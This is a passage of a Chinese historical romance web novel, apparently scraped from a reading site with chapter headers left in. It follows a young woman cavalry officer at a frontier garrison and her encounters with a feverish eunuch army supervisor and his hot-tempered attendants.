乔昭来到校场的时候,将士们还在操练,校场很大,正中间是一个擂台,上面赤红色的北齐军旗飘扬。 “卑职参见骑都尉。”校尉刘光运看到乔昭走来,上前抱拳行礼。 乔昭忙上前扶住他的手臂,正色道:“你知道的,我一向不在乎这些虚礼。” 林珩在一边打趣道:“刘校尉,乔昭还比你小几岁呢,你这样她定不好意思了。” 刘光运笑着挠了挠头,只说礼不可废。 乔昭刚到肃州的时候才十五岁,看着实在小。 最开始郑冬青任命她当校尉的时候,她手下那些人没一个服气。他们是不敢闹到郑冬青面前,但是不代表他们心里真的认可了乔昭。 乔昭才来几日便发现,他们不会听从自己的命令,明摆着不把乔昭当回事儿。 乔昭也不恼,观察了他们几日。 军中生活枯燥,日常除了操练还是操练,唯一算得上有趣的便是每个月,校场的擂台上会举行比赛。 在不伤害对手性命的情况下,若能将对手轰下擂台,便能获得一百文铜钱,若是击败十个对手,便可以有一两银子,要知道在北齐,一两银子可是普通百姓半个月的开销 但是少有人可以击败这么多对手,大多数人在擂台上,能连续守住两三个人的攻击便已经力竭败下阵来。有些力气大的可能会胜算大些,但是五六个已经是极限。从比武开始,还从未有连续守擂十次,屹立不倒的人。 乔昭也去了擂台,虽然她才十五岁但身量蹿得极快,已经和普通成年男子差不多高,只是看起来瘦许多,弱不经风的样子。 擂台边上挤满了人,乔昭的手下的那些兵也在下面跃跃欲试。毕竟是赚钱的机会,只要赢了就有一百文钱,许多人正正是冲着钱财来的。 比武一开始,乔昭翻身跳上擂台,站在中间。台下众人看乔昭只是一个乳臭未干的黄毛丫头,纷纷嘘出声来,议论纷纷。 “怎么上来个小丫头?这要是赢了不得被说胜之不武啊!”人群中一将士扬声道,这语气怎么听都充满轻视,没把乔昭当成对手,只当是小孩子玩闹。 众人听见他这样说,哄堂大笑,下面的将士们都劝乔昭下来,戏言道,乔昭这身板恐怕接不住别人一个拳头。 乔昭站在面色不变,泰然处之,浓密的黑发束在脑后,露出光洁的额头和英气的眉,她望着下面的将士,高声道。 “废话真多,尽管上来便是!”下面的人已经跃跃欲试,乔昭也不想说太多,“两三个人一起上,莫要浪费时间。” 乔昭言罢,便有三个人跳上擂台,其中便有一个乔昭手下的兵。无论是什么对手,只要赢了就有一百文铜钱,遇到乔昭这种弱不经风的胜算更大。 三人站在一边,乔昭在对立一侧,校场鸦雀无声,众人皆盯着台上四人,等着看好戏。 几人对视着,乔昭没有动手,直直站着,望向他们三人,擂台上一触即发。 对面的人明显耐不住性子,大喝一声 7. 第 7 章 《女将军和俏掌印》全本免费阅读 三人下了擂台,就最近几日军营里的事情聊了聊。 “听说从河曲来了几匹好马?”乔昭问道。 乔昭是骑都尉,掌管定北军的骑兵部队。在战场上马匹对于骑兵来说是最忠诚的伙伴,生死相托。 “有两匹,都是极品。跑起来速度快,寻常马所不能及。”刘光运回答道,他以前也是骑兵,因此对马匹比较了解。后来在战场上立了功,封了校尉,现如今掌管日常兵卒操练。 “那这两匹马现如今在何处?”乔昭对这几马很感兴趣,喜上眉梢。 乔昭来肃州之前,跟在她身边的是昌敬侯府里养的马。但如今五年过去,马匹也会衰老,不适合再上战场,因此那匹马乔昭已经让它颐养天年了。 “这两匹马在马厩被单独隔开,不与普通马匹养在一起,有专门饲养的人。”随即刘光运便带着乔昭和林珩往马厩走去。 三人来到马厩,往里走去,两侧都是拴着的马匹,低头吃着草料。越往里走,马厩越宽敞明亮,马匹也更加健壮。 直至走到最里面,看到两匹马高大威风,一黑一棕,皮毛泛着光泽,额头上一绺纯白色的毛发,肌肉线条流畅优美。这便是从河曲来的两匹烈马。 乔昭走上前去,用手轻抚黑马,马儿打了个响鼻,用头轻轻的蹭了蹭乔昭的掌心。 “这马性子烈得很,在都尉面前却如此乖顺,当真是与都尉投缘。”只见一人身穿普通兵卒的服饰,手里抱着大捆草料,面带微笑,从三人身后走出来。 那人走至乔昭身前,弯腰将草料放到马槽里,然后起身向乔昭和刘光运抱拳行礼。 乔昭定定看着此人,问道:“看你相貌不似北齐之人。” 此人颧骨高耸,眉眼深邃,鼻梁高挺,而北齐人面容线条更加柔和婉约。 “在下是肃州灵台人。大军来肃州安营扎寨,我便想着能谋个营生,现如今在军里负责马匹喂养。” 肃州灵台与西戎接壤,虽一直处在北齐的政权下,但与中京相隔甚远,政权更迭混乱,百姓苦不堪言。能在军里谋个营生,至少温饱不成问题,这对于许多肃州百姓来说是一个好差事。 乔昭不再多言,倒是林珩对马的吃食颇感兴趣,好奇问道。 “这马的草料闻起来真是清新怡人,不知所用何物?” “军里大多马匹是用谷草,玉米秸等粗饲料喂养,但这两匹马的草料更为精细,大多以黑麦草,草地早熟禾等新鲜牧草混合喂养。”那人恭敬回复道。 “所以这两匹马一直是你在饲养?”林珩又问道。 “是的。”那人继续回答。 乔昭将马从马厩里牵出来,摸了摸黑马的前额,随后利落翻身上马,双腿轻夹马腹,骏马随即扬起马蹄,向前奔去。乔昭骑在马上,脑后的高马尾随风飞扬,英姿飒爽,意气风发。 “吁——”乔昭绕着校场跑了一圈,随后停在林珩等人面前。 “既然这马合我眼缘,就给它取名为疾云。”乔昭用手抚着马的鬃毛,朗声道。 乔昭翻身下马,将缰绳递给那人,道:“你好好养着,过几日我来接它。” “是。”那人低眉,眸中厉色一闪而过,恭敬道。 ------------------------------------- 西戎安稳了许久,北齐这边也在休养生息,无甚大事。 乔愈年派了别的将士去西戎密探,不知结果如何。乔昭这几日不是在校场练兵,就是骑着疾云四处溜达。 “正要寻你,随我同郑将军一路,前往城外候迎监军。”乔愈年整装正要出门。府里早已准备好宴席,特地为监军接风洗尘。 “不是说明日上午才到吗?怎今日便到了。”乔昭疑惑道,懒懒的倚在墙上。私下里父女二人相处,乔昭便这副不着调的样子。 “许是有事,加快了进程。”乔愈年整了整衣衫,看着乔昭的样子,渐渐皱起眉头。 “你这站没站相,坐没坐相。这副吊儿郎当的样子,给我收敛一下,莫要冲撞了监军。” 乔昭惊呆,一脸莫名其妙,两手一摊,道。 “我又哪里不对了?这人还没来呢,父亲就要我开始收敛。” 其实这真不怪乔昭。乔昭刚参军的时候,还带着勋贵子弟的端正自持,可在军营里时间一久,乔昭就发觉过往侯府里那些为人处世的方法在军营里并不适用。 在军营里,大家不讲究那些虚礼,更不关心你是哪个王公贵族家的子弟,上战场都是把头别再裤腰带上,生怕哪天就没了命。军营里更看重实力,有实力才能赢得他人的尊重。 渐渐的乔昭也被同化了,让她现在去参加中京城里那些诗词酒会,她还真有点不习惯。 乔愈年也不跟乔昭多废话,警示道:“监军手里有陛下的尚方宝剑,你切勿去招惹他。” “知道了,我没事招惹他干嘛,躲都躲不急呢。”乔昭慢悠悠的回答道,半点不放在心上的样子。 ...... 城门大开,街道两旁兵卒整齐的列队站立,将士们身着黑色戎装,手持红缨枪,身姿笔挺如松,安静沉默,器宇轩昂。身后则是看热闹的百姓,叽叽喳喳讨论着是哪个大人物来了肃州,竟如此大的阵仗。 站在军队最前方的是郑冬青,他比乔愈年父女来的要早一些。他身骑高头大马,头戴青铜盔,暗红色里衣,外穿护甲,足蹬黑靴,足以可见对监军的重视。 自古监军与主帅平级,虽监军不参与作战决策和方针,却因监军手持尚方宝剑,见尚方宝剑犹见天子,因此监军在军队里地位尊崇,不得怠慢。 乔愈年打马上前,乔昭跟在他身后。 “见过郑将军。”乔昭抱拳行礼,郑冬青挥了挥手。乔昭官职次于乔愈年和郑冬青,退至二人身后,静候待立。 “监军何时才到?”乔愈年转头问道。 “刚传信来说,今早已进入肃州境内,约莫午时便能到。”郑冬青回答道。 乔愈年微微颌首, 8. 第 8 章 《女将军和俏掌印》全本免费阅读 “监军怎的还没来?这午时都快过了,菜早已备好,怕都快凉了。”郑冬青俯身贴耳,压着声音问乔愈年。 “不甚清楚,已经差人去问了,还没消息。”乔愈年也压着声音道,他不知道徐纾言那边什么情况。 乔愈年回想,方才城门口,徐纾言说话挺客气,不像是要闹事的样子,但现在却迟迟未到,乔愈年也很莫名。 众将领在下面议论纷纷,莫非这监军才刚到肃州,就要给将士们弄个下马威,立立规矩? 不怪将士们心里有这些想法,毕竟徐纾言恶名在外已久,北齐谁不知道朝堂上有个宦官奸佞,深受皇上信任。哪怕被群臣弹劾也有恃无恐,甚至百官们还要担心会不会被他盯上,项上人头不保。 乔昭坐在下面打了个哈欠,一手撑着额头,一手转悠着手里的茶杯。当真是无聊,美食美酒在自己面前,是半分动不得,都已经是喝的第三杯茶了。 要知道,乔昭素日住在郊外的军营里,和将士们同吃同住。而肃州就是一个穷山恶水的地儿,能活就行别想吃得有多好。乔愈年性格刚正古板,断不会给自己的女儿特殊优待。所以还真是托了徐纾言的福,乔昭已经好久没吃这么丰盛了。 可人现在还没来,叹气。 桌下的腿被轻踹一脚,林珩转过头来,眼神中带着疑问。 乔昭低声道;“我出去透个风,这屋里太闷了。” 眼看这个监军一时半会儿还真来不了,乔昭在下面如坐针毡,还不如溜出去放松一下。 林珩翻了个白眼,压低声音道:“求我。” 以往大多数时候,乔昭没了耐心偷溜出去,都是林珩给她善后,遇到什么事情还要给她通风报信。 乔昭看林珩这个欠揍的样子,作势还要再踹一脚。林珩迫于强权,无奈比个手势,代表同意。乔昭点了一下头,就悄然出去了。 这番刚出来,乔昭就想去马厩,将疾云牵出来跑跑。虽然疾云很通人性,但马毕竟没开灵智,很多时候不能完全理解主人的意思,还需要一人一马多多磨合,才能在战场上一马当先,无所匹敌。 乔昭走向马厩的地方,去往马厩要穿过营帐和校场,也会路过徐纾言的营帐。 “您如今当真不适合去赴宴。” 乔昭人还没走到营帐旁,就听见有人声从里面传出,苦口婆心,温声劝道。 里面似乎有人在回答他,但声音太微弱,有气无力的,乔昭听不清。 “无非是一场宴席,差人传个话,让他们撤了便是!何苦劳累您前去,连自己身体都不顾!”说话之人语调比之前更高,语气里满是着急。 乔昭听着实在好奇,一不小心就凑得太近,被营帐门前的两个净军拦住。 “何人再此鬼鬼祟祟!”两个净军大喝一声,纷纷抽出手里的弯刀,对准乔昭。 乔昭立刻后退一步,以示清白。 “监军的营帐都敢擅闯,看你是嫌命太长!今日便杀了你,给那些不长眼的人立立规矩!”营帐门帘霎时被掀开,只见一人身着净军服饰,一手执鞭,满脸冷意,大步从里走出。 徐淮正愁有气没地撒,就撞上来一个找死的,怒气冲冲的从营帐里出来。 然后和乔昭双目对视,渐渐皱起眉头。 “又是你?怎么?还想硬闯掌印的营帐。”徐淮脸色不虞,阴阳怪气道。 乔昭知道他在讽刺自己五年前夜闯徐纾言寝卧,自知理亏,讪讪笑道:“路过,路过。” 两人在营帐外的交谈,徐纾言半分都听不清楚,他只觉得自己昏昏沉沉,身边的事物模糊而遥远,看不真切。 徐纾言知道自己身体不适,但他刚到肃州,若此时显出颓势,难保不会被他人阳奉阴违。 “何人在外面?”徐纾言强撑着力气,问道。 “在下定北军骑都尉乔昭,参见监军。”营帐外的声音清亮干净,吐字清晰,如幽泉击石。 徐纾言对此人有印象,乔愈年的女儿,五年前参军,在战场上智勇双全,屡立战功,圣上多次赞赏她。 “进来吧。”徐纾言语气淡淡道,眼皮沉重,像是随时快要闭上。 乔昭在营帐外,本来就只是路过不小心听了个八卦,被人逮个正着。已经准备离开,被徐纾言叫住,只能进去。 徐淮听见声音急急地走进去,乔昭跟在身后。营帐里的装饰与之前乔昭所见并无太大改变,唯有案牍上多了些书和折子,想必是徐纾言从中京带来的。 当真是繁忙,山高路远,还要处理公务,乔昭心里暗道。 徐纾言已经穿戴整齐,面色苍白如纸,半丝血色也无,可嘴唇却嫣红着。头发还散着,没有束起。 徐淮知道自己是劝不住掌印的,他已经铁了心要去赴宴。只得拿起白玉簪子替他束发,但还是忍不住嘴里抱怨道。 “一场宴席又能有您的身体......”徐淮的话还没说完,便看见徐纾言投过来的冷冷一眼。 徐淮识相闭嘴,他知道徐纾言不愿在外人面前展露脆弱。只专心给他束发,乔昭静候在一边,不发一言。 “是元帅等急了,吩咐你来唤我?”徐纾言轻声问道。 头发束起的徐纾言看起来精神些,也难掩苍白之色,带着丝病态。走道乔昭身边,连呼出的气都是热的。 乔昭一怔,这人是发烧了吗?不过乔昭也没过问,毕竟徐纾言的身体与她没有任何关系,这并不是她的分内事。 乔昭微微弯腰,低眉抱拳行礼,正色道:“宴席早已备好,元帅恐菜冷难咽,只待监军赴宴。” “今日是我的不是,待会在席上定向诸位将士自罚三杯......”徐纾言声音越来越弱,到最后细弱蚊蝇。 乔昭察觉不对,连忙抬起头来,只见一个温热的身体软绵绵地跌入自己怀里。 ...... “掌印!”徐淮焦急大喊道,立马冲上前来。 乔昭看着自己怀里的人,双眼紧闭,眉头紧锁,似乎极度不适。一只手无力垂下,白皙的皮肤下隐约可见的青色脉络。 乔昭也有点急了,这监军刚到肃州,就在自己怀里出事了,她爹不得好好问候一下她才怪...... 一把将徐纾言抱在怀里,快步向榻上走去,怀里的人很轻,飘飘的像一张纸,仿佛用力大些就会散掉。 “前几日就不舒服了,快马加鞭才提前一日赶到,还要去赴宴, 9. 第 9 章 《女将军和俏掌印》全本免费阅读 “您老倒是快点啊!掌印都晕过去了!要是有个三长两短,你担待得起吗?!”隔着十里地都能听见徐淮的大嗓门,徐霁劝他小点声,莫要惊动太多人,徐淮是一点也听不进去。 他说话又急,走得又快,可怜军医到了花甲之年,本来就走不动,跟在后面提着药箱直抹额头上的汗。 跟在徐霁徐淮后面的,还有乔愈年和郑冬青。 他们二位在宴席上左等右等也等不到监军到来,郑冬青便准备直接去营帐里探听一下情况。没走几步就看见徐淮火急火燎的找军医。拦住一问才知道徐纾言在营帐里晕倒了。 郑冬青大惊,忙让身边的手下禀报乔愈年,乔愈年也急匆匆的过来,毕竟监军在肃州若有个三长两短,以后在圣上面前不好交代,当然是多一事不如少一事。 一行人直冲冲的向营帐而来。 乔昭耳聪目明,早已听到了外面的动静。趁着脚步声还没有走进,一把将衣角从徐纾言手里扯出,立即起身,站在离床榻几步远的地方。 刚刚还相互挨着的身影,现在就形同陌路,仿佛不相识。 手里空了,身边的热量也消失了,一切都没有了,又要被拉进冰冷的黑夜里。徐纾言还发着烧,整个人都在微微颤抖,蜷缩成一团,见此情形,乔昭心里也说不清什么感受。 没等乔昭多想,营帐门帘瞬间被拉开,一众人走了进来,方才那种难以言说的氛围瞬间被打破,看到军医来了,乔昭心里也松口气。 乔愈年一进来就看见自己女儿在监军营帐里,眼眸闪过轻微诧异。这监军才到肃州一天,这两人怎会有交集。虽然说站得远远的,但这两人相处一室,尽显怪异。 眼看着军医走上前去把脉诊断,乔昭觉得这儿也没啥事了,就退至乔愈年身后,还被乔愈年瞪了一眼。 军医搭着徐纾言的脉,一会儿微叹,一会问皱眉,抚着自己的胡子,迟迟不讲话,徐淮在旁边心如油煎,来回踱步。连乔愈年,郑冬青内心都不上不下的。 心里暗道:莫非真是重病? 乔愈年沉声道;“监军可有大碍?” “监军这病说大不大,说小不小,好治也不好治。”军医拿出装银针的布袋,慢慢悠悠道。 听见不好治,众人都沉默下去,尤其是徐霁徐淮二人。 只见徐淮立即将鞭子甩出,威胁到:“庸医,少在这里弄虚作假!若今日治不好别想走出这个门!” 徐霁一把拦住徐淮的手臂:“冷静,莫要在元帅、将军面前失了礼数。” 听见徐淮凶狠的语气,军医眼神惶恐,说话结结巴巴:“倒也不是不能治,就是监军身体太过虚弱。这次舟车劳顿导致的发热只是诱因,真正的根源还是长久以来的气血不足,身体亏空所致。” “那要如何医治?”郑冬青上前一步,神色严肃,询问到。 “监军此病来势汹汹,病来如山倒,当务之急是要先退热。”军医提笔在纸上快速写了一个药方,递给身边的徐霁,道;“去将此方里的药煎出来,速度要快。” 徐霁点头应声,拿着药方匆忙出了营帐。 又让身边的药童去打一盆冷水来,“将帕子用冷水浸湿,贴在额头上,有降温之效。”,随后将帕子覆在了徐纾言额头上。 感受到凉意,犹如沙漠久逢甘霖,徐纾言紧皱的眉头终于舒展开来。乔昭望着徐纾言仍然略显苍白的面色,想起刚刚被紧紧拽住的衣角。 “卑职再给监军开几副固本培元,补气益血的方子。但这病不是一两日就能根治的,还须日日将养,勿要劳心劳神。”军医提笔在单子上写了几幅药方,递给身边的徐淮,嘱咐他等监军烧退以后,一定要将此药日日煎给他喝。 众人见徐纾言无大碍后,恐人多口杂,扰他休息,便全部出去了,只留下徐霁徐淮二人在他身边伺候。 ...... “你给我过来!”乔昭一出帐门,就看见转身停下的乔愈年,脸上带着些愠怒,随即大步走向前去。 乔昭跟在身后,一看她爹脸色,就知道今天免不了一顿批,可怜的眼神望向郑冬青:“郑叔叔......”。 郑冬青也帮不了乔昭,毕竟是父女俩的事情,还轮不到他个外人插手,只见他双手一摊,递给乔昭一个爱莫能助的眼神。 乔昭叹口气,一脸无奈的跟上去了。 “不是说了让你少招惹徐纾言的吗?!”寻了个无人的地方,语气严厉,乔愈年怒声斥道。 “我没有。”乔昭目光飘忽不定,语气弱弱道。 “你没有?你没有,你一个人在人家寝帐?”乔愈年怒目圆睁,语调拔高,声音中压着怒气。 看她爹这个怒发冲冠的样子,乔昭也不反驳了,站在一旁,安静挨骂。 “此人心机深沉,又睚眦必报,你若是惹上了他,定叫你吃不了兜着走!”乔愈年看着女儿这幅毫不在意的样子,嗓音中带了几分斥责。 “爹,他未必如世人所言。”乔昭反驳道,“五年前,若不是有徐纾言相助,郑叔叔也不能带着十万援军前来增援。” 乔愈年何尝不知若没有五年前徐纾言的相帮,定北军又怎能有今天。 乔愈年沉默片刻,沉声叹道:“他虽看似风光无限,文武百官避其锋芒。但朝堂上风云诡谲,人心难测,谁又知太后皇上真正的想法。那些世家大族个个视他为眼中钉,肉中刺。徐纾言深陷其中,犹如行走在悬崖边上,踏错一步都将万劫不复。” “若与他牵扯不清,难免被他人视为与宦官同流合污。”乔愈年语气越加无奈,不住叹息:“昭昭,我万万不想将昌敬侯府拉进这腥风血雨里。” 空气中只剩下一片沉默。 良久,乔昭低声道:“知道了,爹。” 乔愈年说道后面也有一丝不忍,他知道徐纾言身世可怜,父母皆死得壮烈,独留幼子徐纾言孤苦伶仃,但那些人穷追不舍,想要将徐家斩草除根。 乔愈年也是动了恻隐之心,稚子何其无辜,才在朝廷上力保他的命。但仍平息不了那些人的怒火,死罪可免,活罪难逃。 最后那些人虽留徐纾言一命,却让他入宫,做了太监,一辈子不能翻身。 如今这么多年过去,徐纾言深陷泥沼,乔愈年背后还有昌敬王府,就必须要考虑诸多事情。 乔愈年拍了拍乔昭的肩膀:“去吧。” 父女二人不再交谈,各自回了营帐。 ------------------------------------- 这边徐霁和徐淮守在徐纾言身边。 喂了药以后,徐纾言体温终于降下来,沉沉睡去。日暮低垂,天色渐晚,徐霁点亮一盏离床榻较远的烛火,光线昏黄 10. 第 10 章 《女将军和俏掌印》全本免费阅读 “陈公公好大的威风,宫里的人说打杀便打杀,真是权势滔天。”雨夜一人撑着油纸伞,缓缓走来,伞下是一张清冷的容颜,目光沉静。 陈公公听到这声音,顿时一阵,忙快步走过去,点头哈腰道:“徐少监真是折煞老奴了。是奴才眼拙没看见徐少监前来,有失远迎。少监这么晚来御膳房,想必是圣上又吩咐了吃食吧。” 徐纾言没答话,似笑非笑的看着他,眼神中却是一片冷意。 陈公公立刻意识到自己说错了话,忙用手打自己嘴,讪笑道:“看我真是狗嘴里吐不出象牙来,圣上的事情岂是我这样的腌臜泼才可以过问的。还望少监恕罪。” 徐纾言没应他的话,看着雨夜里倒在地上的两个小太监,都被捆住了还不安生,一直挣扎扭动着。 陈公公看徐纾言一句话不说,只盯着这两个小太监,陈公公忙低声道:“这二人偷了娘娘宫里的吃食,不是什么光彩事,便想着拖下去解决算了。” 听见这老太监信口雌黄,徐霁徐淮二人想要大声辩驳,但出口只能听见呜呜的声音。 徐纾言转头,看着陈公公,嘴角微微扬起,道:“他们没偷。” “什么?”陈公公一时弄不清楚徐纾言的意思,脱口问道。 陈公公抬眼偷偷打量着徐纾言,他看起来再笑,但眼里一丝笑意也无,让人不禁汗毛竖起。 陈公公突然反应过来,连声道:“他们确实没偷,想必是奴才搞错了,认错了人!”忙又招手,让那些人将徐霁徐淮二人放了。 “没想到他们二人是徐少监门下的人,是奴才有眼不识泰山,错怪了两位,这就向二位赔罪!”陈公公殷勤的将徐霁徐淮二人扶起来,徐淮一把甩开他的手,呸了一声。 陈公公只能讪讪一笑,收回了手,灰溜溜的退下。 徐霁徐淮这才认真的看着站在台阶上的那个人。 徐霁听到陈公公殷勤的称他徐少监。而宫里姓徐的少监只有一位,那就是跟在当今圣上身边的掌事太监,徐纾言。 徐霁徐淮上前一步,在雨中扑通跪下,俯身将头磕在青石板上,徐纾言这才望向他们二人。 “谢徐少监救命之恩。”徐霁徐淮大声道,雨下得这样大也盖不住他们的声音。 “起来吧。”徐纾言淡淡道,转身就准备撑伞离开。 徐霁忙向前膝行几步:“徐少监请留步。”只见徐霁又将头磕在地上,便磕边求道:“求徐少监将我们二人收至门下!若少监日后有用得上我们二人的地方,哪怕粉身碎骨也在所不辞!” 徐淮看见徐霁磕下了头,也连忙跟着磕头;“求徐少监。” 后来又怎么样了呢......徐霁在昏黄的营帐里细细回想这十年。 后来徐纾言给他们赐了姓,字还是用以前父母取的字,他说父母生养又怎可因入了宫就全部被抹杀。徐纾言从少监一路坐到了掌印的位置,多少血雨腥风徐霁徐淮二人都跟在他的身边,半步不离。 细弱的咳嗽声从床榻边传来,徐霁猛然回神,起身过去查看。徐淮也惊醒,睁眼去瞧。只见徐纾言眼睛微微睁开,勉力想要坐起来。 “掌印您醒了?”徐淮轻轻将徐纾言扶起来,又在他身后放了个软垫,让他靠得舒服些。 徐霁转身去倒温水,递到徐纾言面前:“掌印喝点水,润润嗓子。” 喝了点温水才缓解了喉咙刺痛之感,徐纾言声音还有些哑:“今日我晕倒,可有发生什么事情。” “乔大元帅和郑将军在您昏睡时都来看来探望过,二人神情紧张,不似作假。”徐霁一五一十的说着下午发生的事情。 徐纾言点了点头,没有多言。 “还有那乔昭,鬼鬼祟祟地躲在帐子外面偷听!”徐霁拍了拍脑袋,猛然想起乔昭,差点把她给忘了。看她下午那样子,就想起五年前她也鬼鬼祟祟夜闯掌印府,真是气不打一处来。 “乔昭是元帅乔愈年的女儿,平日里对她客气些,不要给我惹出事端。”徐纾言语气平和,但细听含着一丝警告。 “是。”徐淮抱拳,低头委屈道。 虽然勉强醒来,徐纾言还是感觉头晕眼黑,身体酸软乏力。 看徐纾言精神不佳的样子,徐霁温声道:“病去如抽丝,现在夜已深了,掌印您还是再歇一会儿吧。”见徐纾言点头后,便将身后的软垫撤走,扶徐纾言躺下。 徐淮吹了那盏灯,室内彻底陷入黑暗中,徐霁徐淮二人脚步轻声,退出帐外。 徐纾言在黑暗中睁开眼,他只记得自己和乔昭说着话便晕倒在她怀里,后面的事便再无印象。 他又做了那些梦,挂着白绫的灵堂,正中间的棺材和满脸是血躺在地上的母亲。那样黑的夜,只有闪电划过天际的瞬间照在母亲惨白的脸上。有时候他想,或许自己永远逃不出那个夜晚,永远留在黑暗里。 绝望和麻木如潮水般向他涌来,准备吞噬他时,一双手轻轻抚摸着他的后背,一下又一下。 不厌其烦的,轻柔的,温暖的。 黑夜或许没有那么长。 ------------------------------------- 几日后,徐纾言身体康健,乔愈年原想再举办场宴席给他补上,以免落人口实。徐纾言婉言拒绝,此事便没了下文。 往日肃州总刮沙尘暴,黄沙漫天,风里夹杂着许多灰尘,一出去就被沙子迷了眼,整个肃州转瞬间就被黄沙吞噬,家家户户门窗紧闭,街道上空无一人。 这几日,肃州天气甚好,无风无云,天空湛蓝,一望无际。 今日是军里每月一次休沐日,全军皆不用训练。 与往日沉闷肃杀的气氛不同,今日松快喧闹了许多,整个肃州仿佛焕发生机,热闹非凡,街上四处吆喝贩卖的商家,以及出来采买闲逛的兵卒。 乔昭喜欢在今日出来淘一些有意思的玩意儿,她今日身着月牙白色锦服,衣领上是金线钩织的花纹,乌发如缎,用玉冠竖起。一双眸子明净澄澈,微微一笑,颇有几分玩世不恭。 今日休沐,乔昭和林珩是一起出来的,只是两人逛的区域不同。乔昭是漫无目的的闲逛,但林珩目的明确就是奔着武器铺子去的,所以两人一出军营就分开了,只等饭店,在悦来楼里碰面,吃个午膳。 整条街道上随处可见的小摊,上面摆满了琳琅满目的商品,有吃食杂货,有首饰布匹,还有一些稀奇古怪的小玩意儿,令人目不暇接。 街道上人潮攒动,人声鼎沸。乔昭走在街道上,周围此起彼伏的叫卖声,她一路走走停停,遇到有趣的偶尔停下来看看。 路过一处摊子,十分随意,简陋非常。甚至不像别的商家支个摊子, 11. 第 11 章 《女将军和俏掌印》全本免费阅读 “今日你怎么来得这么晚,快走快走!不然悦来楼的招牌白炸春鹅就要没了!”看见乔昭前来,林珩二话不说就把人拉着往前走。 悦来楼是肃州一个老牌的酒楼,据肃州当地人说,这悦来楼已经开了几十个年头了,乔昭和林珩每逢休沐都会来这里吃饭。 还没走进去就听到里面的谈笑嬉闹声,军营里有许多兵卒在这里吃酒,还有不少是肃州本地人。 “原来是二位都尉大驾光临,今日也是老位置吗?”小二一眼看到了乔、林二人,忙放下手里的活,走上前来接待。 “还是老位置。”林珩答道。 “得嘞!您二位这边请!”小二将他们带到了二楼靠窗的雅间。往日他们二人来悦来楼,都坐这个位置。 “您二位吃点什么呢?今日店里新上了一个菜品。”小二问道,还不忘推荐自家的新菜。 “就你们点的招牌菜来几个,再加一道白炸春鹅。”乔昭将菜单递给小二,又从袖里掏出赏钱给他。 小二接过赏钱,弓着腰,眉开眼笑道:“好嘞!小的这就去给您二位安排。”言罢就转身下了楼。 窗外人流如织,门庭若市。 乔昭将手里的匕首放在了桌子上,林珩好奇便打开来看看。 “怎么买把匕首?你不是一直用明鸿刀吗?”林珩问道。 乔昭现在所用的武器是乔愈年供奉在祠堂的鸣鸿刀,这把刀是乔家先祖留下的,刀身通体漆黑,锋利异常。 这把刀杀伤力强大,用起来虎虎生威,寒光乍现,片刻间就能取人性命。但致命的弱点便是十分重,寻常人难以拿动。再厉害的武器,若是只能展示其十分之一二的能力,那也是一种暴殄天物。 所以鸣鸿刀便一直供奉在祖祠。五年前乔昭参军,又没有趁手的武器,宁安郡主才从祖祠里将这把刀取出来,给乔昭使用,这一用就是五年。 “你仔细看看这把匕首的材料。”乔昭提示到。 林珩细细看着手里的匕首,这才发现这把匕首的不同之处,之前只注意到这把匕首锈迹斑斑,倒是没多想别的。 “这是玄铁所制?”林珩对各种武器多有研究,对只做武器的材料也了如指掌,一眼便看出了玄铁所制。 玄铁是硬度最大的材料,但是却非常轻,刚切开它的表面,里面的玄铁会呈现出银色的光泽,暴露在空气中一段时间后,银色转变为漆黑,也没了金属的光泽,成为磨砂质感。所以玄铁其实并不起眼,但是当真正接触便会发现,玄铁制成的武器会散发出凛冽的寒意,也有人称其为杀意。 乔昭点了点头:“那商贩不懂养护所以才生了锈,和一堆破烂放在一起,鱼目混珠。” “确实是好东西。”林珩摸着刀身上的纹路,感受着匕首散发的凛然之意,“玄铁世间少有,日后定有用的上的地方。” 言罢,就面带艳羡的将匕首递了回去,酸酸道:“好东西都被你碰到了,我怎么没这么好的运气。” “十两银子。”乔昭淡淡道,丢下一个惊天大雷。 “什么?十两?!”林珩瞠目结舌,一时也被惊到了。 乔昭以往在中京,不知银钱为何物,能用银子买到的东西在她看来就是唾手可得。她父亲是威武将军,在朝廷上是正二品武将。母亲平宁郡主是永阳王的女儿,身份高贵。 所以乔昭从小就是含着金钥匙出生的,没未钱财发愁过。 直到来参军...... 虽是元帅的女儿,但在定北军里乔愈年一视同仁,乔昭的月俸和其他将领无异,所以这对乔昭来说还挺大一笔花销。 缓了片刻林珩又安慰乔昭:“至少东西是好的,谈不上太亏。” 没过一会儿,小二便开始上菜。香气扑鼻,让人垂涎三尺。 二人正准备动筷就发现楼下的嬉闹声一下全部消失,变得寂静非常。 林珩探头去看,只见数十人,手拿佩剑,身着黑色锦袍,行走间有淡淡光泽,衣领处绣着弯月尖刀,面色冷肃。 是净军。 楼下众人皆放下碗筷,他们虽不认识中京净军,但这一群人身高腿长,手持佩剑,通身透着凛然之气,一看就不是好惹的。 楼下没人再说话,甚至警惕些的兵卒已经将手摸到身边的武器上了。 “好大的阵仗,这净军出行派头都比别人大些。”林珩咂咂舌,小声说道。 乔昭也将目光投向楼下。只见那小二看这架势也被唬住,一时拿不定主意,急急忙忙去叫掌柜过来。 掌柜忙从后院过来,一眼就看见十几个带刀的军爷煞神似的站在酒楼进门处,也吓得不清。 但又不得不上前,颤巍巍的走过去,强颜欢笑道:“几位军爷大驾光临,不只是住宿还是吃酒啊?” 为首的人,没有立刻回答,用目光将酒楼巡视一遍。被他冰冷实现扫过的人,都静若寒蝉,低头不再与其对视。 “要一件安静雅致的屋子,最上乘的。”只见那个净军将一锭银子丢到了掌柜的怀里。 “这......怕是有些不方便......”掌柜一时有苦说不出,今日休沐,酒楼的好位置早已经订满,且都是常来的老顾客,甚至连大堂都座无虚席。 只见那净军目光一扫,定定的看着掌柜,目光犹如实质,压迫感让掌柜脸上渗出汗来。 掌柜只能讪讪一笑,直抹头上的汗:“今日实在是没位置,要不几位爷稍等一会儿,我上去催催。” “催什么?直接让楼上的人滚下来便是。”门外又传来一道声音,嚣张跋扈。 方才进来的净军对着徐淮拱手,整齐道:“徐少监。” 徐淮走进来,拿着鞭子的手指着二楼的一个房间,语气散漫阴骘。 “就那间房,上去跟他们说,限他们十秒之内下来。不然......” 徐淮冷笑一声,将鞭子一甩,在空中甩出一道残影。 掌柜这下是真不淡定了,徐淮指的那间房恰好是乔昭和林珩的那间屋子,这两位也是掌柜惹不起的。一时间不知该如何动作,头晕目眩,只恨不得当场晕过去才好。 “不然什么......”楼上的人探出头来,声音清亮干净。 